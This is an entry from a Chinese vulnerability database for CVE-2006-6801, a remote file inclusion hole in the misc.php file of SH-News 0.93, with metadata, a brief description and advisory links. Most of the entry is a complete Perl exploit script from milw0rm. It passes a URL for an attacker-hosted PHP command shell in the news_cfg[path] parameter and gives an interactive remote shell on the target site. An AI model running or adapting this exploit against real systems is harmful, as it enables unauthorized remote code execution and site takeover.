SH-News 'Misc.PHP'远程文件包含漏洞

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漏洞ID 1111844 漏洞类型 输入验证
发布时间 2006-12-23 更新时间 2007-01-02
CVE编号 CVE-2006-6801 CNNVD-ID CNNVD-200612-585
漏洞平台 PHP CVSS评分 6.8
|漏洞来源
https://www.exploit-db.com/exploits/2984
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200612-585
|漏洞详情
SH-News0.93及更早版本的misc.php中存在PHP远程文件包含漏洞,在启用register_globals时,远程攻击者可以通过news_cfg[path]参数执行任意PHP代码。
|漏洞EXP
#!/usr/bin/perl
#
#SH-News 0.93 (misc.php) Remote File Include Exploit
#
#Download: http://www.scripthome.de/down.php?id=6
#
#Vulnerable Code: require "{$news_cfg['path']}/german.inc.php";
#
#Coded by bd0rk || SOH-Crew
#
#Usage: shnews.pl [target] [cmd shell] [shell variable]
#
#Greetings: str0ke, TheJT, Kacper, rgod
#
#

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
       print "[shell] \$";
while(<STDIN>)
       {
               $cmd=$_;
               chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'misc.php?news_cfg[path]='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[....]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
       {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}

if($return =~ /(.*)/)


{
       $finreturn = $1;
       $finreturn=~ tr/[....]/[\n]/;
       print "\r\n$finreturn\n\r";
       last;
}

else {print "[shell] \$";}}}last;

sub head()
 {
 print "\n============================================================================\r\n";
 print " *SH-News 0.93 (misc.php) Remote File Include Exploit*\r\n";
 print "============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: shnews.pl [target] [cmd shell location] [cmd shell variable]\r\n\n";
 print " <Site> - Full path to SHNews ex: http://www.site.com/ \r\n";
 print " <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \r\n";
 print " <cmd variable> - Command variable used in php shell \r\n";
 print "============================================================================\r\n";
 print "                           Bug Found by bd0rk \r\n";
 print "                           www.soh-crew.it.tt \r\n";
 print "============================================================================\r\n";
 exit();
 }

# milw0rm.com [2006-12-23]
|参考资料

来源:BID
名称:21761
链接:http://www.securityfocus.com/bid/21761
来源:VUPEN
名称:ADV-2006-5161
链接:http://www.frsirt.com/english/advisories/2006/5161
来源:SECUNIA
名称:23524
链接:http://secunia.com/advisories/23524
来源:MILW0RM
名称:2984
链接:http://milw0rm.com/exploits/2984